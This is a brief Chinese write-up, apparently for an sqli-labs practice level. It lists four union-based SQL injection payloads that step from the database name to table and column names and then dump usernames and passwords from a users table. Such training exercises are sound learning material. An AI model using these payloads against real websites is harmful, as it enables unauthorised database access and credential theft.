1.和Less（38）差不多
2.爆破
（1）爆库：?id=0%9 union select 1,2,database() %23
（2）爆表：?id=0%9 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
（3）爆列名：?id=0%9 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" %23
（4）爆值：?id=0%9 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
